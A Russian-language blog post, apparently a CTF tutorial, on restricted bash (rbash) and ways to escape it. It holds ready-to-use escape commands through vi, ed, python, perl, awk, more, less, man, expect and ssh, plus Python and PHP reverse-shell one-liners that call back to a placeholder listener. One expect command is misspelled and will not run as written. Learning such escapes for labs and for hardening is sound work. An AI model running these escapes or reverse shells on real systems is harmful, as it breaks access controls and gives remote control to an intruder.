вторник, 3 декабря 2019 г.

Несколько методов обхода ограничений шелла.

Всем мы знаем, что взаимоотношения в инфосеке похожи на мультик «Том и Джерри», где одни предпринимают меры повышения уровня безопасности, а другие пытаются обойти их. Иногда при решении CTF заданий я встречаю ошибки конфигурации, которые помогают мне узнавать новые методы защиты.
 В данной публикации мы поговорим о «ограниченном шелле или bash», который я наблюдал на множестве CTF заданиях и выработал множество способов обхода rbash(restricted bash).

Содержание статьи:

    - Ограниченный шелл
    - Ограничения в rbash
    - ЗА ограниченного шелла
    - Против ограниченного шелла
    - Несколько методов обойти ограничения rbash

Ограниченный шелл: rbash.

Ограничение шелла используется для установки окружения с большим контролем, чем стандартный шелл, в этом случае шелл запускается с именем rbash или при вызове команд указывается опция -r.
Ограничения в rbash.

Шелл ведет себя так же как стандартный bash, но отсутствуют или не разрешаются следующие функции:

    - cd – команда смены директории
    - PATH – настройка/реконфигурация
    - ENV aka BASH_ENV (настройка окружения)
    - Функции импорта
    - Имя файла с использованием аргументов ‘/’ и ‘-’
    - Перенаправление вывода используя >, >>, >|, <>, >&, &>
    - Возможность отключить ограничения при помощи ‘set +r’ и ‘set +o’

ЗА ограничение шелла.

- Rbash используется совместно с chroot окружением с целью дополнить ограничение доступа к процессу.

Против ограничений шелла.

- Возможные проблемы с запуском многих скриптов, которым необходимы множественные доступы.
- Недостаточность для полного запрета на выполнение нелегитимного кода.

Включение ограничений шелла для пользователя.

Как сказано выше rbash нужен для контроля доступа к bash шеллу пользователя и указанию разрешенных команд для исполнения этого пользователя. Чтобы управлять командами доступными пользователю выполните следующие действия:

1.    Создать пользователя banuser
2.    Установить пароль
3.    Включить rbash для banuser
4.    Указать доступную оболочку пользователю в /etc/passwd

adduser banuser
usermod –s /bin/rbash banuser
tail –n 1 /etc/passwd



Методы обходы ограничений.

1. Обход rbash используя редакторы:

- vi
- ed

2. Обход rbash с использование однострочных ЯП:

- python
- perl
- awk

3. Обход rbash через реверс шелл.

4. Обход rbash через системные утилиты:

- more
- less
- man

5. Обход rbash используя Expect.

6. Обход rbash через ssh.



Обход rbash используя редакторы.

Теперь можем подключиться под пользователем banuser к машине на которой мы завели данную учетную запись и проверим доступность системных команд таких как cd (смена директории), чтобы убедится, что rbash ограничивает наши действия.



Зададимся вопросом: «Что делать оказавшись в такой ситуации?»
Ответ: «Используйте текстовые редакторы для обхода режима ограничений»

1й метод – vi:

Вам необходимо в режиме редактировать выполнить следующую команду, чтобы покинуть режим rbash:

vi
:set shell=/bin/sh
:shell


После вы можете попробовать получить доступ к директории /etc:
cd /etc
pwd
id



2й метод – ed:

Получить доступ к /etc директории используя редактор ed:

ed
! ‘/bin/sh’



Обход ограничений rbash скриптовыми ЯП.

1й метод – Python:

Вы можете использовать интерпретатор python в режиме однострочной команды:

python -c 'import os; os.system("/bin/sh");'
python3 -c 'import os; os.system("/bin/sh");'



2й метод – Perl:

Вызовем шелл используя в perl системный вызов:

perl -e 'system("/bin/sh");'


3й метод – awk:

Однострочник для вызова shell с помощью awk:

awk 'BEGIN {system("/bin/sh")}'



Обход ограничений через реверс шелл.

1й метод Python реверс шелл.


Используйте следующий код для организации реверс шелла.
Запустим ожидание подключения на машине, где у нас есть рут права с помощью незаменимой утилиты nc:

nc -lvp 1234

 
После запуска данного скрипта ожидаем подключения:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LISTENING IP",LISTENING PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
не забудьте указать необходимые (свои) LISTENING IP",LISTENING PORT.


Проверяем, что мы получили доступ к нужной машине:


2й метод - PHP:

Реверс шелл на PHP позволяющий обойти ограничения rbash(так же как в случае выше используем nc на машине, где права не ограничены):

php -r '$sock=fsockopen("LISTENING IP",LISTENING PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

Обход ограничений используя системные утилиты.

Очень мало людей в курсе того, что системные утилиты (такие как less, more, head, tail, man и многие другие) позволяют осуществить обход ограничений rbash.
Представим ситуацию когда в вашей директории есть текстовый файл с логами и у вас есть несколько утилит для чтения этого файла.

1й метод - /bin/more

more text.log
!'sh'



2й метод - /bin/less

less text.log
!'sh'



3й метод - /bin/man

man man
!'sh'
 


Обход ограничений rbash используя Expect.

 
Expect это утилита unix систем которая общается с другими интерактивными программами используя скрипты. Используем ее для выхода из ограниченного режима:

expect
spwan sh



Обход ограничений rbash через SSH.


Если вам известы учетные данные для ssh пользователя в системе и доступны команды на доступ к ssh клиенту, можете использовать это:

ssh banuser@192.168.1.100 -t "bash --noprofile"

Комментариев нет:

Отправить комментарий